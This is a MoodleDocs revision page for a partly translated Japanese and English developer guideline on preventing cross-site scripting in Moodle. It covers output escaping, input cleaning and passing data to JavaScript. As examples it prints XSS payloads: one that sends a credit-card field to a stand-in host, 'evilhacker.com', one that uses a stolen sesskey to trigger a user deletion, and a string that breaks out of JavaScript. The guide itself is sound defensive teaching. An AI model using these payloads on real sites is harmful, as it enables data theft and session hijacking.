「開発:セキュリティ:クロスサイトスクリプティング」の版間の差分

提供:MoodleDocs
移動先:案内検索
35行目: 35行目:
===アウトプットをエスケープする===
===アウトプットをエスケープする===


Moodle divides content that has been input by the user into four categories:
Moodleは、ユーザによって入力されたコンテンツを4つのカテゴリに分類します:
# Plain text content. For example, a student's response to a short answer question.
# Plain text content. For example, a student's response to a short answer question.
# Labels that are plain text, except that they main contain multi-lang spans. For example, a course name or section heading.
# Labels that are plain text, except that they main contain multi-lang spans. For example, a course name or section heading.
42行目: 42行目:


Depending on the type of content, you need to use the appropriate function to output it. For example, if you have plain text content, you should use the s() function to output it. that will replace any < character with &amp;lt;. If that is done, there is no way that the input can be interpreted as JavaScript.
Depending on the type of content, you need to use the appropriate function to output it. For example, if you have plain text content, you should use the s() function to output it. that will replace any < character with &amp;lt;. If that is done, there is no way that the input can be interpreted as JavaScript.


===Cleaning input===
===Cleaning input===

2010年1月21日 (木) 17:02時点における版

作成中です - Mitsuhiro Yoshida 2010年1月9日 (土) 16:27 (UTC)

このページは、Moodleセキュリティガイドラインの一部です。

何が危険ですか?

通常、ウェブブラウザでは、コンテンツに影響を及ぼす恐れのある、別サーバからのJavaスクリプトの実行を避けるようになっています。例えば、あなたのMoodleページ (http://mymooodle.com/ 内のiframeに http://makemerich.com/ の広告を表示していると考えましょう。広告ページのJavaスクリプトは、あなたのページすべてにアクセスすることはできません。

Moodleでは、実際、私たちはユーザにHTMLを入力させて、ウェブサイトの一部として表示しています。そのため、Moodleページに含まれているJavaスクリプトは、ページすべてにフルアクセスすることができてしまいます。

なぜそれが問題なのでしょう? それでは、不道徳なハッカーが次のようなコードをクレジットカード番号入力ページに埋め込んだとしましょう。

document.write('<img width="1" height="1" ' +
    'src="http://evilhacker.com/savedata.php?creditcard=' +
    document.getElementById('creditcard').value + '" />');

実際のところ、これはMoodleにおいて極めて起こりそうもないシナリオですが、可能性のある、もっともらしいシナリオです。

XSSのもう1つの問題は、悪意のあるハッカーがsesskeyプロテクションを避けて通ることができる点です。例えば、

document.write('<img width="1" height="1" ' +
    'src="http://example.com/moodle/user/delete.php?id=123&confirm=1&sesskey=' +
    document.getElementById('sesskey').value + '" />');

または、さらに洗練された方法では、管理者が移動できるフォーラムでJavaスクリプトをPOSTリクエストとして実行させます。これは、非常に悪い結果となります。

少なくともInternet Explorerでは、HTML内と同様に、JavaスクリプトはCSSスタイル情報内に隠すことができることに留意してください。ブラウザのJavaスクリプトエンジンと同様に、FlashおよびJavaアプレットもスクリプト実行に使用することができます。

危険なコンテンツは、ユーザによって直接Moodleに入れられるだけではないことにも留意してください。例えば、外部RSSフィードから入ってくることも考えられます。

どのようにして、Moodleはこの問題を回避するか

XSSアタックに対するシンプルな解決方法は、ユーザにHTMLのようなリッチコンテントの入力させない、またFlashのようなプラグインをアップロードさせないことです。残念ですが、Moodleでは、私たちはユーザにリッチコンテンツを使わせたいと考えています。例えば、私たちは、フォーラム内で学生にオレンジ色のテキストを点滅させて自分を表現させたいと考えることがあります。また、私たちは、学生が使用するために、教師が面白いアプレットをアップロードできるようにしたい考えることもあります。それゆえ、私たちは譲歩する必要があるのです。

アウトプットをエスケープする

Moodleは、ユーザによって入力されたコンテンツを4つのカテゴリに分類します:

  1. Plain text content. For example, a student's response to a short answer question.
  2. Labels that are plain text, except that they main contain multi-lang spans. For example, a course name or section heading.
  3. HTML (or wiki, markdown) content, that might have been input by anyone. For example the body of a forum post.
  4. HTML (or wiki, markdown) content, that could only have been input by a trusted user, like a teacher. For example, the body of a web page resource.

Depending on the type of content, you need to use the appropriate function to output it. For example, if you have plain text content, you should use the s() function to output it. that will replace any < character with &lt;. If that is done, there is no way that the input can be interpreted as JavaScript.

Cleaning input

The other part of the protection is cleaning up date as it comes in. This is done using the optional_param or required_param functions. For example, if you say you are expecting an integer as input, by passing PARAM_INT, then you will only get an integer back. Once you know that a variable only contains an integer value, you can be sure it does not contain any malicious JavaScript.

However, for very complex input, like HTML, doing the cleaning is very tricky, and the code is likely to handle some complex situations badly. The algorithms will almost certainly be improved in the future, so for complex content, we store the raw input in the database, and only do the cleaning when it is output, using the latest algorithms.


Escaping output 2 - JavaScript

The other place you need to be careful is when you are sending data to JavaScript. For example, if you generate JavaScript in your PHP code like echo '<script type="text/javascript">'; echo 'alert("' . $userinput . '");'; echo '</script>'; and Evil hacker can make $userinput equal to something like "); /* Do something evil. */ ( then he can get whatever code he chooses to put in the /* Do something evil. */ space to run within your web page.

In Moodle 2.0 and later, the best solution is to not echo JavaScript like this. Instead, follow the JavaScript guidelines, and put your JavaScript in an external file, and communicate with it using $PAGE->requires->data_for_js or $PAGE->requires->js_function_call. Those two methods properly encode any PHP data to be passed to JavaScript using json_encode.

Before Moodle 1.9, the tools available are less sophisticated. You should still try to put as much JavaScript as possible in an external file, included with require_js, but you will have to manage sending data form PHP to JavaScript yourself. Moodle 1.9 and earlier provide the addslashes_js function for safely encoding PHP strings for inclusion in JavaScript code.

What you need to do in your code

  • Get input values using optional_param or required_param with an appropriate PARAM_... type, to ensure that only data of the type you expect is accepted.
  • Alternatively, use a moodleforms, with appropriate ->setType calls in the form definition.
  • Clean or escape content appropriately on output.
    • Use s or p to output plain text content (type 1 above).
    • use format_string to output content with minimal HTML like multi-lang spans (type 2 above).
    • Use format_text to output all other content (types 3 and 4 above). How carefully it is cleaned (that is, the differenve between type 3 and 4) depends on the $options->noclean argument to format_text.
  • Any place where a use can input content that is output by format_text, $options->noclean, must be protected by a capability check, and the capability must be marked as RISK_XSS.
  • When sending data to JavaScript code:
    • In Moodle 2.0 and later, use the $PAGE->requires->data_for_js' or $PAGE->requires->js_function_call methods.
    • In Moodle 1.9 and earlier, escape the data with addslashes_js before printing it into the JavaScript code.

What you need to do as an administrator

  • Do not allow a user to have a capability with RISK_XSS unless you trust them.


関連情報